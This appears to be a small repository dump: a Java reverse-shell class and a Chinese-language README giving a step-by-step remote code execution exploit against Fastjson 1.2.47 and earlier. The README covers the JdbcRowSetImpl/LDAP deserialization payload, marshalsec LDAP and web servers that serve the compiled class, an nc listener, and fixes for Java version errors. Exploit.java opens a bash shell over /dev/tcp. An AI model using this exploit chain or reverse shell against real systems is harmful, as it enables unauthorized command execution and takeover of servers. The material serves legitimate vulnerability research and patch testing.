[
  {
    "path": "Exploit.java",
    "content": "public class Exploit {\n    public Exploit(){\n        try{\n            Runtime.getRuntime().exec(\"/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1\");\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n    }\n    public static void main(String[] argv){\n        Exploit e = new Exploit();\n    }\n}"
  },
  {
    "path": "README.md",
    "content": "# fastjson-1.2.47-RCE\nFastjson &lt;= 1.2.47 远程命令执行漏洞利用工具及方法，以及避开坑点\n\n以下操作均在Ubuntu 18下亲测可用，openjdk需要切换到8，且使用8的javac\n```\n> java -version\nopenjdk versin \"1.8.0_222\"\n\n> javac -version\njavac 1.8.0_222\n```\n\n### 声明\n\n使用者在传播、利用本工具所提供的信息过程中，若产生任何直接或间接的后果与损失，均由使用者自行承担责任，作者对此不承担任何责任。\n本人保留对此工具的修改权与解释权。未经网络安全部门及相关部门许可，严禁擅自使用本工具开展任何攻击活动，亦不得以任何形式将其用于商业目的。\n本工具仅授权于企业内部进行问题排查，严禁用于非法用途。请严格遵守《网络安全法》，否则，作者将不承担任何由此产生的后果。\n\n### 0x00 假设存在漏洞的功能\n\n```\n# param参数内容被fastjson调用解析\n\nPOST /note/submit/\n\nparam={'id':29384,'content':'Hello','type':'string'}\n```\n\n### 0x01 测试外连\n\n准备一台服务器监听流量\n```\nnc -lvvp 7777\n```\n\n发送Payload，将IP改为监听服务器IP\n```\nPOST /note/submit/\n\nparam={\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://IP:7777/Exploit\",\"autoCommit\":true}}}\n```\n\n如果监听服务器有流量，可以继续下一步\n\n### 0x02 准备LDAP服务和Web服务\n\n将marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目录下\n\n在当前目录下运行LDAP服务,修改IP为当前这台服务器的IP\n```\njava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit\n```\n\n在当前目录下运行Web服务\n```\npython3 -m http.server 80 或者 python -m SimpleHTTPServer 80\n```\n\n### 0x03 修改Exploit并编译成class文件\n\n修改Exploit.java中的反弹IP和端口（准备接收反弹SHELL的服务器IP和监听端口）\n\n使用javac编译Exploit.java，生成Exploit.class文件（注意：javac版本最好与目标服务器接近，否则目标服务器无法解析class文件，会报错）\n```\njavac Exploit.java\n```\n\n### 0x03 准备\n\n回顾一下，现在目录应该有三个文件\n```\nmarshalsec-0.0.3-SNAPSHOT-all.jar\nExploit.java\nExploit.class\n```\n\n服务器正在开启LDAP和Web\n```\nLDAP Server：Listening on 0.0.0.0:1389\nWeb  Server：Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...\n```\n\n一个nc正在准备接收反弹回来的SHELL\n```\nnc -lvvp 7777\n```\n\n### 0x04 执行\n修改ip为正在运行LDAP和Web服务的服务器IP\n```\nPOST /note/submit\n\nparam={\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://ip:1389/Exploit\",\"autoCommit\":true}}}\n```\n\n接下来如果没有任何报错的话，LDAP将会把请求Redirect到Web服务，Fastjson将会下载Exploit.class，并解析运行\n\n你的LDAP服务和Web服务都会收到请求记录，如果没有问题，你的nc也会收到反弹回来的SHELL\n\n### 0x05 问题\n\n当javac版本和目标服务器差太多，会报一个下面那样的错误，所以需要使用1.8的javac来编译Exploit.java\n```\nCaused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0\n```\n\n当运行LDAP的服务器java版本过高，会无法运行LDAP服务，虽然显示正在Listening，但是Fastjson的JNDI会报错，显示无法获取到资源，所以要使用java 1.8（openjdk 8）来运行LDAP服务\n"
  }
]